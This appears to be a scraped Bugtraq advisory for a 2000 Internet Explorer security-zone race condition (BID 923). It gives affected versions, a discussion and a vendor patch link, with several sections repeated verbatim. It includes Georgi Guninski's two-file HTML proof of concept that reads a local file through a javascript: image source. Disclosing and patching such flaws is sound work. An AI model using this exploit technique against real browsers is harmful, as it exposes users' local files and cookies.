Microsoft Internet Explorer Security Zone Settings Lag Vulnerability
BID:923
Info
Microsoft Internet Explorer Security Zone Settings Lag Vulnerability
| Bugtraq ID: | 923 |
| Class: | Race Condition Error |
| CVE: |
CVE-2000-0061 CVE-2000-0156 CVE-2000-0061 |
| Remote: | Yes |
| Local: | Yes |
| Published: | Jan 07 2000 12:00AM |
| Updated: | Jan 25 2014 06:03AM |
| Credit: | Discovered and posted to Bugtraq on January 7, 2000 by Georgi Guninski <[email protected]>. |
| Vulnerable: |
Microsoft Internet Explorer 5.0.1 for Windows NT 4.0 Microsoft Internet Explorer 5.0.1 for Windows 98 Microsoft Internet Explorer 5.0.1 for Windows 95 Microsoft Internet Explorer 5.0.1 for Windows 2000 Microsoft Internet Explorer 5.0.1 Microsoft Internet Explorer 4.0.1 for Windows NT 4.0 Microsoft Internet Explorer 4.0.1 for Windows 98 Microsoft Internet Explorer 4.0.1 Microsoft Internet Explorer 5.5 preview Microsoft Internet Explorer 5.0 for Windows NT 4 Microsoft Internet Explorer 5.0 for Windows 98 Microsoft Internet Explorer 5.0 for Windows 95 Microsoft Internet Explorer 5.0 for Windows 2000 Microsoft Internet Explorer 4.0 for Windows 95 Microsoft Internet Explorer 4.0 for Windows 3.1 Microsoft Internet Explorer 4.0 |
| Not Vulnerable: | |
Discussion
Microsoft Internet Explorer Security Zone Settings Lag Vulnerability
When a new document is loaded into an IE window, IE will not update the Security Zone settings for that window until the new document is completely loaded. This means that if a local document is loaded, and then a large remote document is loaded that has JavaScript at the very beginning, the JavaScript may load and execute before the Security Zone settings are updated. This could lead to remote and untrusted JavaScript running as local trusted code, with full access to local files, cookies, etc.
When a new document is loaded into an IE window, IE will not update the Security Zone settings for that window until the new document is completely loaded. This means that if a local document is loaded, and then a large remote document is loaded that has JavaScript at the very beginning, the JavaScript may load and execute before the Security Zone settings are updated. This could lead to remote and untrusted JavaScript running as local trusted code, with full access to local files, cookies, etc.
Exploit / POC
Microsoft Internet Explorer Security Zone Settings Lag Vulnerability
Here is the code from Georgi Guninski's demonstration page:
-----------------img2main.html---------------------------------------
<A HREF="img2.html" TARGET="victim">link</A>
<SCRIPT>
alert("Create a short text file C:\\test.txt and it will be read and shown in a message box");
a=window.open("file://c:/test.txt","victim");
setTimeout("document.links[0].click()",2000);
</SCRIPT>
---------------------------------------------------------------------
----------------img2.html--------------------------------------------
<HTML>
<IMG SRC="javascript:a=window.open('javascript:alert(\'Here is your file: \'+opener.document.body.innerText)');alert('Just an alert, but is necessary. Wait a little.')">
</HTML>
---------------------------------------------------------------------
Demonstration available at:
http://www.nat.bg/~joro/img2main.html
Here is the code from Georgi Guninski's demonstration page:
-----------------img2main.html---------------------------------------
<A HREF="img2.html" TARGET="victim">link</A>
<SCRIPT>
alert("Create a short text file C:\\test.txt and it will be read and shown in a message box");
a=window.open("file://c:/test.txt","victim");
setTimeout("document.links[0].click()",2000);
</SCRIPT>
---------------------------------------------------------------------
----------------img2.html--------------------------------------------
<HTML>
<IMG SRC="javascript:a=window.open('javascript:alert(\'Here is your file: \'+opener.document.body.innerText)');alert('Just an alert, but is necessary. Wait a little.')">
</HTML>
---------------------------------------------------------------------
Demonstration available at:
http://www.nat.bg/~joro/img2main.html
Solution / Fix
Microsoft Internet Explorer Security Zone Settings Lag Vulnerability
Solution:
Microsoft has released a patch for this issue available at:
http://windowsupdate.microsoft.com
or
http://www.microsoft.com/windows/ie/security/patch5.asp
Solution:
Microsoft has released a patch for this issue available at:
http://windowsupdate.microsoft.com
or
http://www.microsoft.com/windows/ie/security/patch5.asp
References
Microsoft Internet Explorer Security Zone Settings Lag Vulnerability
References:
References: